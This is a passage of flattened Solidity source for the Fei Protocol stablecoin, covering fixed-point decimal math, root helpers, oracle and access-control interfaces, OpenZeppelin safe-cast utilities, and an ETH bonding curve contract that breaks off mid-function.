============ function add( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.add(b.mul(BASE)) }); } function sub( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.mul(BASE)) }); } function sub( D256 memory self, uint256 b, string memory reason ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.mul(BASE), reason) }); } function mul( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.mul(b) }); } function div( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.div(b) }); } function pow( D256 memory self, uint256 b ) internal pure returns (D256 memory) { if (b == 0) { return from(1); } D256 memory temp = D256({ value: self.value }); for (uint256 i = 1; i < b; i++) { temp = mul(temp, self); } return temp; } function add( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: self.value.add(b.value) }); } function sub( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.value) }); } function sub( D256 memory self, D256 memory b, string memory reason ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.value, reason) }); } function mul( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: getPartial(self.value, b.value, BASE) }); } function div( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: getPartial(self.value, BASE, b.value) }); } function equals(D256 memory self, D256 memory b) internal pure returns (bool) { return self.value == b.value; } function greaterThan(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) == 2; } function lessThan(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) == 0; } function greaterThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) > 0; } function lessThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) < 2; } function isZero(D256 memory self) internal pure returns (bool) { return self.value == 0; } function asUint256(D256 memory self) internal pure returns (uint256) { return self.value.div(BASE); } // ============ Core Methods ============ function getPartial( uint256 target, uint256 numerator, uint256 denominator ) private pure returns (uint256) { return target.mul(numerator).div(denominator); } function compareTo( D256 memory a, D256 memory b ) private pure returns (uint256) { if (a.value == b.value) { return 1; } return a.value > b.value ? 2 : 0; } } // File contracts/fei-protocol/bondingcurve/IBondingCurve.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; interface IBondingCurve { // ----------- Events ----------- event ScaleUpdate(uint _scale); event BufferUpdate(uint _buffer); event Purchase(address indexed _to, uint _amountIn, uint _amountOut); event Allocate(address indexed _caller, uint _amount); // ----------- State changing Api ----------- /// @notice purchase FEI for underlying tokens /// @param to address to receive FEI /// @param amountIn amount of underlying tokens input /// @return amountOut amount of FEI received function purchase(address to, uint amountIn) external payable returns (uint amountOut); /// @notice batch allocate held PCV function allocate() external; // ----------- Governor only state changing api ----------- /// @notice sets the bonding curve price buffer function setBuffer(uint _buffer) external; /// @notice sets the bonding curve Scale target function setScale(uint _scale) external; /// @notice sets the allocation of incoming PCV function setAllocation(address[] calldata pcvDeposits, uint[] calldata ratios) external; // ----------- Getters ----------- /// @notice return current instantaneous bonding curve price /// @return price reported as FEI per X with X being the underlying asset function getCurrentPrice() external view returns(Decimal.D256 memory); /// @notice return the average price of a transaction along bonding curve /// @param amountIn the amount of underlying used to purchase /// @return price reported as FEI per X with X being the underlying asset function getAveragePrice(uint amountIn) external view returns (Decimal.D256 memory); /// @notice return amount of FEI received after a bonding curve purchase /// @param amountIn the amount of underlying used to purchase /// @return amountOut the amount of FEI received function getAmountOut(uint amountIn) external view returns (uint amountOut); /// @notice the Scale target at which bonding curve price fixes function scale() external view returns (uint); /// @notice a boolean signalling whether Scale has been reached function atScale() external view returns (bool); /// @notice the buffer applied on top of the peg purchase price once at Scale function buffer() external view returns(uint); /// @notice the total amount of FEI purchased on bonding curve. FEI_b from the whitepaper function totalPurchased() external view returns(uint); /// @notice the amount of PCV held in contract and ready to be allocated function getTotalPCVHeld() external view returns(uint); /// @notice amount of FEI paid for allocation when incentivized function incentiveAmount() external view returns(uint); } // File @uniswap/lib/contracts/libraries/[email protected] // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.4.0; // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian { // credit for this implementation goes to // https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; // this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2); // however that code costs significantly more gas uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } // File contracts/fei-protocol/utils/Roots.sol pragma solidity ^0.6.0; library Roots { // Newton's method https://en.wikipedia.org/wiki/Cube_root#Numerical_methods function cubeRoot(uint y) internal pure returns (uint z) { if (y > 7) { z = y; uint x = y / 3 + 1; while (x < z) { z = x; x = (y / (x * x) + (2 * x)) / 3; } } else if (y != 0) { z = 1; } } // x^(3/2); function threeHalfsRoot(uint x) internal pure returns (uint) { return sqrt(x) ** 3; } // x^(2/3); function twoThirdsRoot(uint x) internal pure returns (uint) { return cubeRoot(x) ** 2; } function sqrt(uint y) internal pure returns (uint) { return Babylonian.sqrt(y); } } // File contracts/fei-protocol/oracle/IOracle.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title generic oracle interface for Fei Protocol /// @author Fei Protocol interface IOracle { // ----------- Events ----------- event KillSwitchUpdate(bool _killSwitch); event Update(uint _peg); // ----------- State changing API ----------- /// @notice updates the oracle price /// @return true if oracle is updated and false if unchanged function update() external returns (bool); // ----------- Governor only state changing API ----------- /// @notice sets the kill switch on the oracle feed /// @param _killSwitch the new value for the kill switch function setKillSwitch(bool _killSwitch) external; // ----------- Getters ----------- /// @notice read the oracle price /// @return oracle price /// @return true if price is valid /// @dev price is to be denominated in USD per X where X can be ETH, etc. function read() external view returns (Decimal.D256 memory, bool); /// @notice the kill switch for the oracle feed /// @return true if kill switch engaged /// @dev if kill switch is true, read will return invalid function killSwitch() external view returns (bool); } // File contracts/fei-protocol/refs/IOracleRef.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title A oracle Reference contract /// @author Fei Protocol /// @notice defines some utilities around interacting with the referenced oracle interface IOracleRef { // ----------- Events ----------- event OracleUpdate(address indexed _oracle); // ----------- State changing API ----------- /// @notice updates the referenced oracle /// @return true if the update is effective function updateOracle() external returns(bool); // ----------- Governor only state changing API ----------- /// @notice sets the referenced oracle /// @param _oracle the new oracle to reference function setOracle(address _oracle) external; // ----------- Getters ----------- /// @notice the oracle reference by the contract /// @return the IOracle implementation address function oracle() external view returns(IOracle); /// @notice the peg price of the referenced oracle /// @return the peg as a Decimal /// @dev the peg is defined as FEI per X with X being ETH, dollars, etc function peg() external view returns(Decimal.D256 memory); /// @notice invert a peg price /// @param price the peg price to invert /// @return the inverted peg as a Decimal /// @dev the inverted peg would be X per FEI function invert(Decimal.D256 calldata price) external pure returns(Decimal.D256 memory); } // File @openzeppelin/contracts/token/ERC20/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/fei-protocol/token/IFei.sol pragma solidity ^0.6.2; /// @title FEI stablecoin interface /// @author Fei Protocol interface IFei is IERC20 { // ----------- Events ----------- event Minting(address indexed _to, address indexed _minter, uint _amount); event Burning(address indexed _to, address indexed _burner, uint _amount); event IncentiveContractUpdate(address indexed _incentivized, address indexed _incentiveContract); // ----------- State changing api ----------- /// @notice burn FEI tokens from caller /// @param amount the amount to burn function burn(uint amount) external; // ----------- Burner only state changing api ----------- /// @notice burn FEI tokens from specified account /// @param account the account to burn from /// @param amount the amount to burn function burnFrom(address account, uint amount) external; // ----------- Minter only state changing api ----------- /// @notice mint FEI tokens /// @param account the account to mint to /// @param amount the amount to mint function mint(address account, uint amount) external; // ----------- Governor only state changing api ----------- /// @param account the account to incentivize /// @param incentive the associated incentive contract function setIncentiveContract(address account, address incentive) external; // ----------- Getters ----------- /// @notice get associated incentive contract /// @param account the address to check /// @return the associated incentive contract, 0 address if N/A function incentiveContract(address account) external view returns(address); } // File contracts/fei-protocol/core/IPermissions.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title Access control module for Core /// @author Fei Protocol interface IPermissions { // Governor only state changing api /// @notice creates a new role to be maintained /// @param role the new role id /// @param adminRole the admin role id for `role` /// @dev can also be used to update admin of existing role function createRole(bytes32 role, bytes32 adminRole) external; /// @notice grants minter role to address /// @param minter new minter function grantMinter(address minter) external; /// @notice grants burner role to address /// @param burner new burner function grantBurner(address burner) external; /// @notice grants controller role to address /// @param pcvController new controller function grantPCVController(address pcvController) external; /// @notice grants governor role to address /// @param governor new governor function grantGovernor(address governor) external; /// @notice grants revoker role to address /// @param revoker new revoker function grantRevoker(address revoker) external; /// @notice revokes minter role from address /// @param minter ex minter function revokeMinter(address minter) external; /// @notice revokes burner role from address /// @param burner ex burner function revokeBurner(address burner) external; /// @notice revokes pcvController role from address /// @param pcvController ex pcvController function revokePCVController(address pcvController) external; /// @notice revokes governor role from address /// @param governor ex governor function revokeGovernor(address governor) external; /// @notice revokes revoker role from address /// @param revoker ex revoker function revokeRevoker(address revoker) external; // Revoker only state changing api /// @notice revokes a role from address /// @param role the role to revoke /// @param account the address to revoke the role from function revokeOverride(bytes32 role, address account) external; // Getters /// @notice checks if address is a burner /// @param _address address to check /// @return true _address is a burner function isBurner(address _address) external view returns (bool); /// @notice checks if address is a minter /// @param _address address to check /// @return true _address is a minter function isMinter(address _address) external view returns (bool); /// @notice checks if address is a governor /// @param _address address to check /// @return true _address is a governor function isGovernor(address _address) external view returns (bool); /// @notice checks if address is a revoker /// @param _address address to check /// @return true _address is a revoker function isRevoker(address _address) external view returns (bool); /// @notice checks if address is a controller /// @param _address address to check /// @return true _address is a controller function isPCVController(address _address) external view returns (bool); } // File contracts/fei-protocol/core/ICore.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title Source of truth for Fei Protocol /// @author Fei Protocol /// @notice maintains roles, access control, fei, tribe, genesisGroup, and the TRIBE treasury interface ICore is IPermissions { // ----------- Events ----------- event FeiUpdate(address indexed _fei); event TribeAllocation(address indexed _to, uint _amount); event GenesisPeriodComplete(uint _timestamp); // ----------- Governor only state changing api ----------- /// @notice sets Fei address to a new address /// @param token new fei address function setFei(address token) external; /// @notice sets Genesis Group address /// @param _genesisGroup new genesis group address function setGenesisGroup(address _genesisGroup) external; /// @notice sends TRIBE tokens from treasury to an address /// @param to the address to send TRIBE to /// @param amount the amount of TRIBE to send function allocateTribe(address to, uint amount) external; // ----------- Genesis Group only state changing api ----------- /// @notice marks the end of the genesis period /// @dev can only be called once function completeGenesisGroup() external; // ----------- Getters ----------- /// @notice the address of the FEI contract /// @return fei contract function fei() external view returns (IFei); /// @notice the address of the TRIBE contract /// @return tribe contract function tribe() external view returns (IERC20); /// @notice the address of the GenesisGroup contract /// @return genesis group contract function genesisGroup() external view returns(address); /// @notice determines whether in genesis period or not /// @return true if in genesis period function hasGenesisGroupCompleted() external view returns(bool); } // File contracts/fei-protocol/refs/ICoreRef.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title A Core Reference contract /// @author Fei Protocol /// @notice defines some modifiers and utilities around interacting with Core interface ICoreRef { // ----------- Events ----------- event CoreUpdate(address indexed _core); // ----------- Governor only state changing api ----------- /// @notice set new Core reference address /// @param core the new core address function setCore(address core) external; // ----------- Getters ----------- /// @notice address of the Core contract referenced /// @return ICore implementation address function core() external view returns (ICore); /// @notice address of the Fei contract referenced by Core /// @return IFei implementation address function fei() external view returns (IFei); /// @notice address of the Tribe contract referenced by Core /// @return IERC20 implementation address function tribe() external view returns (IERC20); /// @notice fei balance of contract /// @return fei amount held function feiBalance() external view returns(uint); /// @notice tribe balance of contract /// @return tribe amount held function tribeBalance() external view returns(uint); } // File contracts/fei-protocol/refs/CoreRef.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title Abstract implementation of ICoreRef /// @author Fei Protocol abstract contract CoreRef is ICoreRef { ICore private _core; /// @notice CoreRef constructor /// @param core Fei Core to reference constructor(address core) public { _core = ICore(core); } modifier ifMinterSelf() { if (_core.isMinter(address(this))) { _; } } modifier ifBurnerSelf() { if (_core.isBurner(address(this))) { _; } } modifier onlyMinter() { require(_core.isMinter(msg.sender), "CoreRef: Caller is not a minter"); _; } modifier onlyBurner() { require(_core.isBurner(msg.sender), "CoreRef: Caller is not a burner"); _; } modifier onlyPCVController() { require(_core.isPCVController(msg.sender), "CoreRef: Caller is not a PCV controller"); _; } modifier onlyGovernor() { require(_core.isGovernor(msg.sender), "CoreRef: Caller is not a governor"); _; } modifier onlyFei() { require(msg.sender == address(fei()), "CoreRef: Caller is not FEI"); _; } modifier onlyGenesisGroup() { require(msg.sender == _core.genesisGroup(), "CoreRef: Caller is not GenesisGroup"); _; } modifier postGenesis() { require(_core.hasGenesisGroupCompleted(), "CoreRef: Still in Genesis Period"); _; } function setCore(address core) external override onlyGovernor { _core = ICore(core); emit CoreUpdate(core); } function core() public view override returns(ICore) { return _core; } function fei() public view override returns(IFei) { return _core.fei(); } function tribe() public view override returns(IERC20) { return _core.tribe(); } function feiBalance() public view override returns (uint) { return fei().balanceOf(address(this)); } function tribeBalance() public view override returns (uint) { return tribe().balanceOf(address(this)); } function _burnFeiHeld() internal { fei().burn(feiBalance()); } function _mintFei(uint amount) internal { fei().mint(address(this), amount); } } // File contracts/fei-protocol/refs/OracleRef.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title Abstract implementation of IOracleRef /// @author Fei Protocol abstract contract OracleRef is IOracleRef, CoreRef { using Decimal for Decimal.D256; IOracle public override oracle; /// @notice OracleRef constructor /// @param _core Fei Core to reference /// @param _oracle oracle to reference constructor(address _core, address _oracle) public CoreRef(_core) { _setOracle(_oracle); } function setOracle(address _oracle) external override onlyGovernor { _setOracle(_oracle); emit OracleUpdate(_oracle); } function invert(Decimal.D256 memory price) public override pure returns(Decimal.D256 memory) { return Decimal.one().div(price); } function updateOracle() public override returns(bool) { return oracle.update(); } function peg() public override view returns(Decimal.D256 memory) { (Decimal.D256 memory _peg, bool valid) = oracle.read(); require(valid, "OracleRef: oracle invalid"); return _peg; } function _setOracle(address _oracle) internal { oracle = IOracle(_oracle); } } // File contracts/fei-protocol/pcv/PCVSplitter.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title abstract contract for splitting PCV into different deposits /// @author Fei Protocol abstract contract PCVSplitter { /// @notice total allocation allowed representing 100% uint public constant ALLOCATION_GRANULARITY = 10_000; uint[] private ratios; address[] private pcvDeposits; event AllocationUpdate(address[] _pcvDeposits, uint[] _ratios); /// @notice PCVSplitter constructor /// @param _pcvDeposits list of PCV Deposits to split to /// @param _ratios ratios for splitting PCV Deposit allocations constructor(address[] memory _pcvDeposits, uint[] memory _ratios) public { _setAllocation(_pcvDeposits, _ratios); } /// @notice make sure an allocation has matching lengths and totals the ALLOCATION_GRANULARITY /// @param _pcvDeposits new list of pcv deposits to send to /// @param _ratios new ratios corresponding to the PCV deposits /// @return true if it is a valid allocation function checkAllocation(address[] memory _pcvDeposits, uint[] memory _ratios) public pure returns (bool) { require(_pcvDeposits.length == _ratios.length, "PCVSplitter: PCV Deposits and ratios are different lengths"); uint total; for (uint i; i < _ratios.length; i++) { total += _ratios[i]; } require(total == ALLOCATION_GRANULARITY, "PCVSplitter: ratios do not total 100%"); return true; } /// @notice gets the pcvDeposits and ratios of the splitter function getAllocation() public view returns (address[] memory, uint[] memory) { return (pcvDeposits, ratios); } /// @notice distribute funds to single PCV deposit /// @param amount amount of funds to send /// @param pcvDeposit the pcv deposit to send funds function _allocateSingle(uint amount, address pcvDeposit) internal virtual ; /// @notice sets a new allocation for the splitter /// @param _pcvDeposits new list of pcv deposits to send to /// @param _ratios new ratios corresponding to the PCV deposits. Must total ALLOCATION_GRANULARITY function _setAllocation(address[] memory _pcvDeposits, uint[] memory _ratios) internal { checkAllocation(_pcvDeposits, _ratios); pcvDeposits = _pcvDeposits; ratios = _ratios; emit AllocationUpdate(_pcvDeposits, _ratios); } /// @notice distribute funds to all pcv deposits at specified allocation ratios /// @param total amount of funds to send function _allocate(uint total) internal { uint granularity = ALLOCATION_GRANULARITY; for (uint i; i < ratios.length; i++) { uint amount = total * ratios[i] / granularity; _allocateSingle(amount, pcvDeposits[i]); } } } // File contracts/fei-protocol/utils/SafeMath32.sol // SPDX-License-Identifier: MIT // SafeMath for 32 bit integers inspired by OpenZeppelin SafeMath pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath32 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint32 a, uint32 b) internal pure returns (uint32) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint32 a, uint32 b, string memory errorMessage) internal pure returns (uint32) { require(b <= a, errorMessage); uint32 c = a - b; return c; } } // File @openzeppelin/contracts/utils/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // File contracts/fei-protocol/utils/Timed.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title an abstract contract for timed events /// @author Fei Protocol abstract contract Timed { using SafeCast for uint; using SafeMath32 for uint32; /// @notice the start timestamp of the timed period uint32 public startTime; /// @notice the duration of the timed period uint32 public duration; constructor(uint32 _duration) public { duration = _duration; } /// @notice return true if time period has ended function isTimeEnded() public view returns (bool) { return remainingTime() == 0; } /// @notice number of seconds remaining until time is up /// @return remaining function remainingTime() public view returns (uint32) { return duration.sub(timestamp()); } /// @notice number of seconds since contract was initialized /// @return timestamp /// @dev will be less than or equal to duration function timestamp() public view returns (uint32) { uint32 d = duration; // solhint-disable-next-line not-rely-on-time uint32 t = now.toUint32().sub(startTime); return t > d ? d : t; } function _initTimed() internal { // solhint-disable-next-line not-rely-on-time startTime = now.toUint32(); } } // File contracts/fei-protocol/bondingcurve/BondingCurve.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title an abstract bonding curve for purchasing FEI /// @author Fei Protocol abstract contract BondingCurve is IBondingCurve, OracleRef, PCVSplitter, Timed { using Decimal for Decimal.D256; using Roots for uint; uint public override scale; uint public override totalPurchased; // FEI_b for this curve uint public override buffer = 100; uint public constant BUFFER_GRANULARITY = 10_000; uint public override incentiveAmount; /// @notice constructor /// @param _scale the Scale target where peg fixes /// @param _core Fei Core to reference /// @param _pcvDeposits the PCV Deposits for the PCVSplitter /// @param _ratios the ratios for the PCVSplitter /// @param _oracle the UniswapOracle to reference /// @param _duration the duration between incentivizing allocations /// @param _incentive the amount rewarded to the caller of an allocation constructor( uint _scale, address _core, address[] memory _pcvDeposits, uint[] memory _ratios, address _oracle, uint32 _duration, uint _incentive ) public OracleRef(_core, _oracle) PCVSplitter(_pcvDeposits, _ratios) Timed(_duration) { _setScale(_scale); incentiveAmount = _incentive; } function setScale(uint _scale) external override onlyGovernor { _setScale(_scale); emit ScaleUpdate(_scale); } function setBuffer(uint _buffer) external override onlyGovernor { require(_buffer < BUFFER_GRANULARITY, "BondingCurve: Buffer exceeds or matches granularity"); buffer = _buffer; emit BufferUpdate(_buffer); } function setAllocation(address[] calldata allocations, uint[] calldata ratios) external override onlyGovernor { _setAllocation(allocations, ratios); } function allocate() external override { uint amount = getTotalPCVHeld(); require(amount != 0, "BondingCurve: No PCV held"); _allocate(amount); _incentivize(); emit Allocate(msg.sender, amount); } function atScale() public override view returns (bool) { return totalPurchased >= scale; } function getCurrentPrice() public view override returns(Decimal.D256 memory) { if (atScale()) { return peg().mul(_getBuffer()); } return peg().div(_getBondingCurvePriceMultiplier()); } function getAmountOut(uint amountIn) public view override returns (uint amountOut) { uint adjustedAmount = getAdjustedAmount(amountIn); if (atScale()) { return _getBufferAdjustedAmount(adjustedAmount); } return _getBondingCurveAmountOut(adjustedAmount); } function getAveragePrice(uint amountIn) public view override returns (Decimal.D256 memory) { uint adjustedAmount = getAdjustedAmount(amountIn); uint amountOut = getAmountOut(amountIn); return Decimal.ratio(adjustedAmount, amountOut); } function getAdjustedAmount(uint amountIn) internal view returns (uint) { return peg().mul(amountIn).asUint256(); } function getTotalPCVHeld() public view override virtual returns(uint); function _purchase(uint amountIn, address to) internal returns (uint amountOut) { updateOracle(); amountOut = getAmountOut(amountIn); incrementTotalPurchased(amountOut); fei().mint(to, amountOut); emit Purchase(to, amountIn, amountOut); return amountOut; } function incrementTotalPurchased(uint amount) internal { totalPurchased += amount; } function _setScale(uint _scale) internal { scale = _scale; } function _incentivize() internal virtual { if (isTimeEnded()) { _initTimed(); fei().mint(msg.sender, incentiveAmount); } } function _getBondingCurvePriceMultiplier() internal view virtual returns(Decimal.D256 memory); function _getBondingCurveAmountOut(uint adjustedAmountIn) internal view virtual returns(uint); function _getBuffer() internal view returns(Decimal.D256 memory) { uint granularity = BUFFER_GRANULARITY; return Decimal.ratio(granularity - buffer, granularity); } function _getBufferAdjustedAmount(uint amountIn) internal view returns(uint) { return _getBuffer().mul(amountIn).asUint256(); } } // File contracts/fei-protocol/pcv/IPCVDeposit.sol pragma solidity ^0.6.2; /// @title a PCV Deposit interface /// @author Fei Protocol interface IPCVDeposit { // ----------- Events ----------- event Deposit(address indexed _from, uint _amount); event Withdrawal(address indexed _caller, address indexed _to, uint _amount); // ----------- State changing api ----------- /// @notice deposit tokens into the PCV allocation /// @param amount of tokens deposited function deposit(uint amount) external payable; // ----------- PCV Controller only state changing api ----------- /// @notice withdraw tokens from the PCV allocation /// @param amount of tokens withdrawn /// @param to the address to send PCV to function withdraw(address to, uint amount) external; // ----------- Getters ----------- /// @notice returns total value of PCV in the Deposit function totalValue() external view returns(uint); } // File contracts/fei-protocol/bondingcurve/EthBondingCurve.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title a square root growth bonding curve for purchasing FEI with ETH /// @author Fei Protocol contract EthBondingCurve is BondingCurve { uint internal immutable SHIFT; // k shift constructor( uint scale, address core, address[] memory pcvDeposits, uint[] memory ratios, address oracle, uint32 duration, uint incentive ) public BondingCurve( scale, core, pcvDeposits, ratios, oracle, duration, incentive ) { SHIFT = scale / 3; // Enforces a .50c starting price per bonding curve formula } function purchase(address to, uint amountIn) external override payable postGenesis returns (uint amountOut) { require(msg.value == amountIn, "Bonding Curve: Sent value does not equal input"); return _purchase(amountIn, 